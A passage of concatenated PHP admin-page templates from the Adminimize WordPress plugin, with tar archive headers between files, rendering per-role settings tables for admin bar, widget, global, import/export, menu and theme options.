'Possible IDs or classes. Separate multiple values through a carriage return.',
'adminimize'
); ?>
</label>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<?php } // end if else $widgets ?>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/settings_notice.php 0000666 00000002114 15244451347 0012733 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Notice for settings page
* @author Frank Bültge
*/
if ( ! function_exists( 'add_filter' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
// always visible.
add_action( 'load-settings_page_adminimize/adminimize', '_mw_adminimize_add_settings_error' );
/**
* Add custom errer messages for the error notes.
*/
function _mw_adminimize_add_settings_error() {
$settings_hint_message = '<span style="font-size: 35px; float: left; margin: 10px 3px 0 0;">☝</span>'
. esc_attr__(
'Please note: The Adminimize settings page ignores the Menu Options below and displays the menu with all entries.',
'adminimize'
)
. ' '
. esc_attr__(
'To view your changes to the menu you need to navigate away from the Adminimize settings page.',
'adminimize'
);
add_settings_error(
'_mw_settings_hint_message',
'_mw_settings_hint',
$settings_hint_message,
'updated'
);
}
function _mw_adminimize_get_admin_notices() {
settings_errors( '_mw_settings_hint_message' );
}
inc-options/admin_bar_frontend.php 0000666 00000011406 15244451347 0013351 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Admin Bar Front end Options, settings page
* @author Frank Bültge
* @since 2015-07-03
*/
if ( ! function_exists( 'add_action' ) ) {
die( "Hi there! I'm just a part of plugin, not much I can do when called directly." );
}
if ( ! isset( $wp_admin_bar ) ) {
$wp_admin_bar = '';
}
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" id="admin_bar_frontend_options" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>"><?php
esc_attr_e( 'Admin Bar Front end Options', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_widget" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="admin_bar_frontend_' . $role_slug
. '" type="checkbox" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
foreach ( $user_roles as $role ) {
$disabled_admin_bar_frontend_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_admin_bar_frontend_' . $role . '_items'
);
}
$x = 0;
// add items to array for select
// Use the hook to enhance for custom items, there was not in the list
$admin_bar_frontend_items = apply_filters(
'adminimize_admin_bar_frontend_items',
_mw_adminimize_get_option_value( 'mw_adminimize_admin_bar_frontend_nodes' )
);
$message = '';
if ( ! empty( $admin_bar_frontend_items ) && is_array( $admin_bar_frontend_items ) ) {
foreach ( $admin_bar_frontend_items as $key => $value ) {
$value = (is_object($value)) ? $value : (object) $value;
$is_parent = ! empty( $value->parent );
$has_link = ! empty( $value->href );
// No title on the item.
if ( ! $value->title ) {
$value->title = '<b><i>' . esc_attr__( 'No Title!', 'adminimize' ) . '</i></b>';
}
$item_string = '• ';
$before_title = '<b>';
$after_title = '</b> <small>' . esc_attr__( 'Group', 'adminimize' ) . '</small>';
if ( $is_parent ) {
$item_string = '— ';
$before_title = '';
$after_title = '';
}
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_admin_bar_frontend_option_[ $role ] )
&& in_array(
$key, $disabled_admin_bar_frontend_option_[ $role ]
)
) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>'. $before_title . $item_string . strip_tags( $value->title, '<strong><b><em><i>' )
. $after_title . ' <span>(' . $key . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num"><input id="check_post' . $role . $x
. '" class="admin_bar_frontend_' . $role . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_admin_bar_frontend_'
. $role . '_items[]" value="' . $key . '" /></td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
$message = '<span style="font-size: 35px;">☝</span>'
. esc_attr__(
'You must open the front end of the site in this browser in order for the plugin to discover the Admin Bar items that are currently not visible.',
'adminimize'
);
?>
</tbody>
</table>
<p><?php echo $message; ?></p>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#"
style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a>
<br class="clear" />
</p>
</div>
</div>
</div>
inc-options/im_export_options.php 0000666 00000007251 15244451347 0013322 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Im/Export options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
global $wp_roles;
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>"
id="import"><?php esc_attr_e( 'Export/Import Options', 'adminimize' ); ?></h3>
<div class="inside">
<h3><?php esc_attr_e( 'Export', 'adminimize' ); ?></h3>
<p><?php esc_attr_e( 'You can save a JSON formatted ".json" file with your settings.', 'adminimize' ); ?></p>
<label for="_mw_adminimize_choose_export" class="control-label">Export All Roles</label>
<input type="checkbox" id="adminimize-toggle" name="_mw_adminimize_choose_export" value="1"
class="adminimize-checkbox" checked="checked">
<label for="adminimize-toggle" class="switch"></label>
<form method="post" id="adminimize-export">
<p><input type="hidden" name="_mw_adminimize_export" value="true"/></p>
<p>
<?php wp_nonce_field( 'mw_adminimize_export_nonce', 'mw_adminimize_export_nonce' ); ?>
<?php
$submit_text = esc_html__( 'Export »', 'adminimize' );
submit_button( $submit_text, 'primary', '_mw_adminimize_save', false );
?>
</p>
</form>
<br class="clear">
<form method="post" id="adminimize-export-role">
<p>
<label><?php esc_attr_e( 'Choose one or more roles:', 'adminimize' ); ?><br>
<select name="select_adminimize_roles[]" multiple id="mw_adminimize_export_select_roles">
<?php foreach ( $wp_roles->role_names as $role_name => $data ) : ?>
<option value="<?php echo $role_name; ?>"><?php echo $data; ?></option>
<?php endforeach; ?>
</select>
</label>
</p>
<p><input type="hidden" name="_mw_adminimize_export_role" value="true"/></p>
<p>
<?php wp_nonce_field( 'mw_adminimize_export_role_nonce', 'mw_adminimize_export_role_nonce' ); ?>
<?php
$submit_text = esc_html__( 'Export role(s) »', 'adminimize' );
submit_button( $submit_text, 'primary', '_mw_adminimize_save', false ); ?>
</p>
</form>
<br class="clear">
<h3><?php esc_attr_e( 'Import', 'adminimize' ) ?></h3>
<form name="import_options" enctype="multipart/form-data" method="post"
action="?page=<?php echo esc_attr( $_GET['page'] ); ?>">
<?php wp_nonce_field( 'mw_adminimize_nonce' ); ?>
<p><?php _e(
'Choose a Adminimize (<em>.json</em>) file to upload, then click <em>Upload file and import</em>.',
'adminimize'
);
esc_html_e( 'After import please reload the page to display also all global values from WordPress.', 'adminimize' ); ?>
</p>
<p>
<label for="datei_id">
<?php esc_html_e(
'Choose a ".json" file from your computer:', 'adminimize'
) ?>
</label>
<input name="import_file" id="datei_id" type="file"/>
</p>
<p>
<?php wp_nonce_field( 'mw_adminimize_import_nonce', 'mw_adminimize_import_nonce' ); ?>
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_import"/>
<?php
$submit_text = esc_html__( 'Upload file and import »', 'adminimize' );
submit_button(
$text = $submit_text, $type = 'primary', $name = '_mw_adminimize_save', $wrap = false,
$other_attributes = null
);
?>
</p>
</form>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;">
<?php esc_html_e( 'scroll to top', 'adminimize' ); ?>
</a>
<br class="clear"/>
</p>
</div>
</div>
</div>
inc-options/widget_options.php 0000666 00000015540 15244451347 0012577 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Widget Options, settings page
* @author Frank Bültge
* @since 1.8.1 01/10/2013
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="widget_options"><?php esc_attr_e( 'Widgets', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear" />
<table summary="config_widget" class="widefat">
<colgroup>
<?php
$col = 0;
foreach ( $user_roles_names as $role_name ) {
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) { ?>
<th><?php esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . $role_name; ?></th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="widget_options_' . $role_slug
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
} ?>
</tr>
</thead>
<tbody>
<?php
foreach ( $user_roles as $role ) {
$disabled_widget_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_widget_option_' . $role . '_items'
);
}
$widget_options = array(
'#contextual-help-link-wrap',
'#screen-options-link-wrap',
'#available-widgets',
'.inactive-sidebar.orphan-sidebar',
'.inactive-sidebar',
);
$widget_options_names = array(
esc_attr__( 'Help', 'adminimize' ),
esc_attr__( 'Screen Options' ),
esc_attr__( 'Available Widgets' ),
esc_attr__( 'Inactive Sidebar (not used)' ),
esc_attr__( 'Inactive Widgets' ),
);
$registered_sidebars = _mw_adminimize_get_registered_sidebars();
foreach ( $registered_sidebars as $key => $value ) {
$widget_options[] = $key;
$widget_options_names[] = $value[ 'name' ];
}
// get registered widgets
$registered_widgets = _mw_adminimize_get_all_widgets();
foreach ( (array) $registered_widgets as $key => $value ) {
$widget_options[] = $key;
$widget_options_names[] = $value->name;
}
$_mw_adminimize_own_widget_values = _mw_adminimize_get_option_value(
'_mw_adminimize_own_widget_values'
);
$_mw_adminimize_own_widget_values = preg_split( "/\r\n/", $_mw_adminimize_own_widget_values );
foreach ( (array) $_mw_adminimize_own_widget_values as $key => $_mw_adminimize_own_widget_value ) {
$_mw_adminimize_own_widget_value = trim( $_mw_adminimize_own_widget_value );
$widget_options[] = $_mw_adminimize_own_widget_value;
}
$_mw_adminimize_own_widget_options = _mw_adminimize_get_option_value(
'_mw_adminimize_own_widget_options'
);
$_mw_adminimize_own_widget_options = preg_split( "/\r\n/", $_mw_adminimize_own_widget_options );
foreach ( (array) $_mw_adminimize_own_widget_options as $key => $_mw_adminimize_own_widget_option ) {
$_mw_adminimize_own_widget_option = trim( $_mw_adminimize_own_widget_option );
$widget_options_names[] = $_mw_adminimize_own_widget_option;
}
$x = 0;
foreach ( $widget_options as $index => $widget_option ) {
if ( $widget_option != '' ) {
$checked_user_role_ = array();
foreach ( $user_roles as $role ) {
$checked_user_role_[ $role ] = ( isset( $disabled_widget_option_[ $role ] )
&& in_array(
$widget_option, $disabled_widget_option_[ $role ]
) ) ? ' checked="checked"' : '';
}
echo '<tr>' . "\n";
echo '<td>' . $widget_options_names[ $index ] . ' <span>(' . $widget_option . ')</span> </td>' . "\n";
foreach ( $user_roles as $role ) {
echo '<td class="num">';
echo '<input id="check_post' . $role . $x . '" class="widget_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox"'
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_widget_option_'
. $role . '_items[]" value="' . $widget_option . '" />';
echo '</td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
}
?>
</tbody>
</table>
<?php
//your own global options
?>
<br style="margin-top: 10px;" />
<table summary="config_edit_post" class="widefat">
<thead>
<tr>
<th><?php esc_attr_e( 'Your own Widget options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' ); ?></th>
<th><?php echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' ); ?></th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2"><?php esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
); ?></td>
</tr>
<tr valign="top">
<td>
<textarea name="_mw_adminimize_own_widget_options" cols="60" rows="3" id="_mw_adminimize_own_widget_options" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_widget_options'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
); ?>
</td>
<td>
<textarea class="code" name="_mw_adminimize_own_widget_values" cols="60" rows="3" id="_mw_adminimize_own_widget_values" style="width: 95%;"><?php echo _mw_adminimize_get_option_value(
'_mw_adminimize_own_widget_values'
); ?></textarea>
<br />
<?php esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.', 'adminimize'
); ?>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert" />
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="<?php esc_attr_e(
'Update Options', 'adminimize'
); ?> »" /><input type="hidden" name="page_options" value="'dofollow_timeout'" />
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/global_options.php 0000666 00000015500 15244451347 0012550 0 ustar 00 <?php
/**
* Global options area on the settings page.
*
* @package Adminimize
* @subpackage Global Options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="global_options"><?php esc_attr_e( 'Global options', 'adminimize' ); ?></h3>
<div class="inside">
<br class="clear"/>
<table summary="config_edit_post" class="widefat">
<colgroup>
<?php
$col = 0;
if ( ! isset( $user_roles_names ) ) {
$user_roles_names = _mw_adminimize_get_all_user_roles_names();
}
foreach ( $user_roles_names as $role_name ) {
// phpcs:disable
echo '<col class="col' . $col . '">' . "\n";
$col ++;
}
?>
</colgroup>
<thead>
<tr>
<th><?php esc_attr_e( 'Option', 'adminimize' ); ?></th>
<?php
foreach ( $user_roles_names as $role_name ) {
?>
<th>
<?php
esc_attr_e( 'Deactivate for', 'adminimize' );
echo '<br/>' . esc_html( $role_name );
?>
</th>
<?php } ?>
</tr>
<tr>
<td><?php esc_attr_e( 'Select all', 'adminimize' ); ?></td>
<?php
if ( ! isset( $user_roles ) ) {
$user_roles = _mw_adminimize_get_all_user_roles();
}
foreach ( $user_roles as $role_slug ) {
echo '<td class="num">';
echo '<input id="select_all" class="global_options_' . esc_attr( $role_slug )
. '" type="checkbox" name="" value="" />';
echo '</td>' . "\n";
}
?>
</tr>
</thead>
<tbody>
<?php
$disabled_global_option_ = array();
foreach ( $user_roles as $role ) {
$disabled_global_option_[ $role ] = _mw_adminimize_get_option_value(
'mw_adminimize_disabled_global_option_' . $role . '_items'
);
}
$global_options = array(
'.show-admin-bar',
'#favorite-actions',
'#screen-meta',
'#screen-options, #screen-options-link-wrap',
'#contextual-help-link-wrap',
'#your-profile .form-table fieldset',
'.admin-notices',
);
$global_options_names = array(
esc_attr__( 'Admin Bar', 'adminimize' ),
esc_attr__( 'Favorite Actions', 'adminimize' ),
esc_attr__( 'Screen-Meta', 'adminimize' ),
esc_attr__( 'Screen Options', 'adminimize' ),
esc_attr__( 'Contextual Help', 'adminimize' ),
esc_attr__( 'Admin Color Scheme', 'adminimize' ),
esc_attr__( 'Admin Notices', 'adminimize' ),
);
$_mw_adminimize_own_values = _mw_adminimize_get_option_value( '_mw_adminimize_own_values' );
$_mw_adminimize_own_values = preg_split( "/\r\n/", $_mw_adminimize_own_values );
foreach ( (array) $_mw_adminimize_own_values as $key => $_mw_adminimize_own_value ) {
$_mw_adminimize_own_value = trim( $_mw_adminimize_own_value );
$global_options[] = $_mw_adminimize_own_value;
}
$_mw_adminimize_own_options = _mw_adminimize_get_option_value( '_mw_adminimize_own_options' );
$_mw_adminimize_own_options = preg_split( "/\r\n/", $_mw_adminimize_own_options );
foreach ( (array) $_mw_adminimize_own_options as $key => $_mw_adminimize_own_option ) {
$_mw_adminimize_own_option = trim( $_mw_adminimize_own_option );
$global_options_names[] = $_mw_adminimize_own_option;
}
$x = 0;
foreach ( $global_options as $index => $global_option ) {
if ( empty( $global_option ) ) {
continue;
}
$global_option = esc_attr( $global_option );
$checked_user_role_ = array();
foreach ( (array) $user_roles as $role ) {
$checked_user_role_[ $role ] = _mw_adminimize_is_checked( $global_option, $disabled_global_option_[ $role ] );
}
echo '<tr>' . "\n";
echo '<td>' . $global_options_names[ $index ] . ' <span>(' . $global_option . ')</span> </td>' . "\n";
foreach ( (array) $user_roles as $role ) {
echo '<td class="num"><input id="check_post' . $role . $x . '" class="global_options_'
. preg_replace( '/[^a-z0-9_-]+/', '', $role ) . '" type="checkbox" '
. $checked_user_role_[ $role ] . ' name="mw_adminimize_disabled_global_option_'
. $role . '_items[]" value="' . $global_option . '" /></td>' . "\n";
}
echo '</tr>' . "\n";
$x ++;
}
?>
</tbody>
</table>
<?php
// your own global options.
?>
<br style="margin-top: 10px;"/>
<table summary="config_edit_post" class="widefat">
<thead>
<tr>
<th>
<?php
esc_attr_e( 'Your own options', 'adminimize' );
echo '<br />';
esc_attr_e( 'Option name', 'adminimize' );
?>
</th>
<th>
<?php
echo '<br />';
esc_attr_e( 'Selector, ID or class', 'adminimize' );
?>
</th>
</tr>
</thead>
<tbody>
<tr valign="top">
<td colspan="2">
<?php
esc_attr_e(
'It is possible to add your own IDs or classes from elements and tags. You can find IDs and classes with the FireBug Add-on for Firefox. Assign a value and the associate name per line.',
'adminimize'
);
?>
</td>
</tr>
<tr valign="top">
<td>
<label for="_mw_adminimize_own_options"></label>
<textarea name="_mw_adminimize_own_options" cols="60" rows="3"
id="_mw_adminimize_own_options" style="width: 95%;"><?php
echo _mw_adminimize_get_option_value('_mw_adminimize_own_options' ); ?></textarea>
<br/>
<?php
esc_attr_e(
'Possible nomination for ID or class. Separate multiple nominations through a carriage return.',
'adminimize'
);
?>
</td>
<td>
<label for="_mw_adminimize_own_values"></label>
<textarea class="code" name="_mw_adminimize_own_values" cols="60" rows="3"
id="_mw_adminimize_own_values" style="width: 95%;"><?php
echo _mw_adminimize_get_option_value('_mw_adminimize_own_values' ); ?></textarea>
<br/>
<?php
esc_attr_e(
'Possible IDs or classes. Separate multiple values through a carriage return.', 'adminimize'
);
?>
</td>
</tr>
</tbody>
</table>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_insert"/>
<input class="button button-primary" type="submit" name="_mw_adminimize_save" value="
<?php
esc_attr_e(
'Update Options', 'adminimize'
);
?>
»"/><input type="hidden" name="page_options" value="'dofollow_timeout'"/>
</p>
<p>
<a class="alignright button adminimize-scroltop" href="#"
style="margin:3px 0 0 30px;">
<?php
esc_attr_e(
'scroll to top', 'adminimize'
);
?>
</a>
<br class="clear"/>
</p>
</div>
</div>
</div>
inc-options/minimenu.php 0000666 00000016765 15244451347 0011374 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Menu on settings page
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
$screen = get_current_screen();
$message = '';
if ( _mw_adminimize_is_active_on_multisite() ) {
$message = esc_attr__( 'Network' );
}
?>
<h2><?php esc_attr_e( 'Adminimize', 'adminimize' );
echo ' ' . $message; ?></h2>
<br class="clear" />
<div id="poststuff" class="ui-sortable meta-box-sortables"><!-- The ID should be unique. Right now, all the option panels are sharing the $poststuff ID-->
<div id="minimenu" class="postbox ">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="menu"><?php esc_attr_e( 'MiniMenu', 'adminimize' ) ?></h3>
<div class="inside">
<table class="widefat" cellspacing="0">
<?php
/**
* Before first row minimenu
*
* Add the possibility to add element before first row of the minimenu.
*
* @since 1.11.6
*/
do_action( 'mw_adminimize_minimenu_before_first_tr' );
?>
<tr>
<td class="row-title"><a href="#about"><?php esc_attr_e(
'About the plugin', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#self-settings"><?php esc_attr_e(
'Plugin Settings', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#admin_bar_options"><?php esc_attr_e(
'Admin Bar Back end Options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#admin_bar_frontend_options"><?php esc_attr_e(
'Admin Bar Front end Options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#backend_options"><?php esc_attr_e(
'Backend Options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#global_options"><?php esc_attr_e(
'Global options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#dashboard_options"><?php esc_attr_e(
'Dashboard options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#config_menu"><?php esc_attr_e(
'Menu Options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#config_edit_post"><?php esc_attr_e(
'Write options - Post', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#config_edit_page"><?php esc_attr_e(
'Write options - Page', 'adminimize'
); ?></a></td>
</tr>
<?php
if ( function_exists( 'get_post_types' ) ) {
$args = array( 'public' => TRUE, '_builtin' => FALSE );
foreach ( get_post_types( $args ) as $post_type ) {
$post_type_object = get_post_type_object( $post_type );
?>
<tr>
<td class="row-title">
<a href="#config_edit_<?php echo $post_type; ?>">
<?php esc_attr_e( 'Write options', 'adminimize' );
echo ' - ' . $post_type_object->label ?>
</a>
</td>
</tr>
<?php
}
}
// check for active links, active since WP 3.5
if ( 0 !== get_option( 'link_manager_enabled' ) ) {
?>
<tr>
<td class="row-title"><a href="#links_options"><?php esc_attr_e(
'Links options', 'adminimize'
); ?></a></td>
</tr>
<?php } ?>
<tr>
<td class="row-title"><a href="#widget_options"><?php esc_attr_e(
'Widgets', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#nav_menu_options"><?php esc_attr_e(
'WP Nav Menu', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#import"><?php esc_attr_e(
'Export/Import Options', 'adminimize'
); ?></a></td>
</tr>
<tr>
<td class="row-title"><a href="#uninstall"><?php esc_attr_e(
'Uninstall Options', 'adminimize'
); ?></a></td>
</tr>
<?php
/**
* After last row minimenu
*
* Add the possibility to add element after last row of the minimenu.
*
* @since 1.11.6
*/
do_action( 'mw_adminimize_minimenu_after_last_tr' );
?>
</table>
</div>
</div>
</div>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div id="about" class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="about-sidebar"><?php esc_attr_e( 'About the plugin', 'adminimize' ) ?></h3>
<div class="inside">
<p>
<?php
echo _mw_adminimize_get_plugin_data( 'Title' ) . ', ' .
esc_attr__( 'Version', 'adminimize' ) . ' ' . _mw_adminimize_get_plugin_data( 'Version' );
?>
</p>
<p><?php echo _mw_adminimize_get_plugin_data( 'Description' ) ?></p>
<ul>
<li><?php
printf(
__(
'Further information: Visit the <a href="%1$s">plugin homepage</a> for further information or to grab the latest version of this plugin. Also see the <a href="%2$s">support forum</a> for questions.',
'adminimize'
),
'http://wordpress.org/extend/plugins/adminimize/',
'http://wordpress.org/support/plugin/adminimize'
);
echo '<br>';
printf(
__( 'For more hints about the functions and how to\'s with the possibilities of the plugin settings see the <a href="%s">FAQ page</a> on the plugin site.', 'adminimize' ),
'https://wordpress.org/plugins/adminimize/faq/'
);?></li>
<li><?php esc_attr_e( 'Report a issue on the development repository:', 'adminimize' ); ?>
<a href="https://github.com/bueltge/Adminimize/issues">issues</a></li>
<li><?php esc_attr_e(
'The plugin have a github repository to easy add a issue or a create a fork, pull request:',
'adminimize'
); ?> <a href="https://github.com/bueltge/Adminimize">github.com/bueltge/Adminimize</a></li>
<li>
<?php printf(
__(
'You want to thank me? Visit my <a href="%1$s">wishlist</a> or <a href="%2$s">donate</a>.',
'adminimize'
),
'http://bueltge.de/wunschliste/',
'https://www.paypal.me/FrankBueltge'
); ?>
<span>
</li>
</ul>
<div style="padding:.3em 1em;">
<p>
<span style="font-size: 35px; float: left; margin: -5px 3px 0 0;">☝</span><strong>
<?php esc_attr_e(
'Please note: The Adminimize settings page ignores the Menu Options below and displays the menu with all entries.',
'adminimize'
);
echo ' ';
esc_attr_e(
'To view your changes to the menu you need to navigate away from the Adminimize settings page.',
'adminimize'
); ?>
</strong></p>
<?php if ( _mw_adminimize_is_active_on_multisite() ) { ?>
<p><?php esc_attr_e(
'You have activated the Plugin for your Multisite Network. By default you will have all active menu items and plugins. The settings are for all network sites, you can set it from any site and it will be set for all network. You should also update the settings on every network site to include every custom items that might exist for each of it.',
'adminimize'
); ?></p>
<?php } ?>
</div>
<p>© Copyright 2008 - <?php echo date( 'Y' ); ?> <a href="http://bueltge.de">Frank Bültge</a></p>
<p>
<a class="alignright button adminimize-scroltop" href="#" style="margin:3px 0 0 30px;"><?php esc_attr_e(
'scroll to top', 'adminimize'
); ?></a><br class="clear" /></p>
</div>
</div>
</div>
inc-options/theme_options.php 0000666 00000012723 15244451347 0012416 0 ustar 00 <?php
/**
* @package Adminimize
* @subpackage Backend Theme options
* @author Frank Bültge
*/
if ( ! function_exists( 'add_action' ) ) {
echo "Hi there! I'm just a part of plugin, not much I can do when called directly.";
exit;
}
?>
<div id="poststuff" class="ui-sortable meta-box-sortables">
<div class="postbox">
<h3 class="hndle ui-sortable-handle" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>" id="set_theme" title="<?php esc_attr_e( 'Click to toggle', 'adminimize' ); ?>"><?php
esc_attr_e( 'Set Theme', 'adminimize' ) ?></h3>
<div class="inside">
<br class="clear" />
<?php if ( ! isset( $_POST[ '_mw_adminimize_action' ] ) || ! ( $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_load_theme' ) ) { ?>
<form name="set_theme" method="post" id="_mw_adminimize_set_theme" action="?page=<?php echo esc_attr(
$_GET[ 'page' ]
); ?>">
<?php wp_nonce_field( 'mw_adminimize_nonce' ); ?>
<p><?php esc_attr_e(
'For better performance on sites with many users, you should load userlist data before making any changes in the theme options for users.',
'adminimize'
); ?></p>
<p id="submitbutton">
<input type="hidden" name="_mw_adminimize_action" value="_mw_adminimize_load_theme" />
<input type="submit" name="_mw_adminimize_load" value="<?php esc_attr_e(
'Load User Data', 'adminimize'
); ?> »" class="button button-primary" />
</p>
</form>
<?php }
if ( isset( $_POST[ '_mw_adminimize_action' ] ) && ( $_POST[ '_mw_adminimize_action' ] === '_mw_adminimize_load_theme' ) ) { ?>
<form name="set_theme" method="post" id="_mw_adminimize_set_theme" action="?page=<?php echo esc_attr(
$_GET[ 'page' ]
); ?>">
<?php wp_nonce_field( 'mw_adminimize_nonce' ); ?>
<table class="widefat usertheme">
<thead>
<tr class="thead">
<th class="num"> </th>
<th class="num"><?php esc_attr_e( 'User-ID', 'adminimize' ) ?></th>
<th><?php esc_attr_e( 'Username', 'adminimize' ) ?></th>
<th><?php esc_attr_e( 'Display name publicly as', 'adminimize' ) ?></th>
<th><?php esc_attr_e( 'Admin Color Scheme', 'adminimize' ) ?></th>
<th><?php esc_attr_e( 'User Level', 'adminimize' ) ?></th>
<th><?php esc_attr_e( 'Role', 'adminimize' ) ?></th>
</tr>
</thead>
<tbody id="users" class="list:user user-list">
<?php
/** @var \WPDB $wpdb */
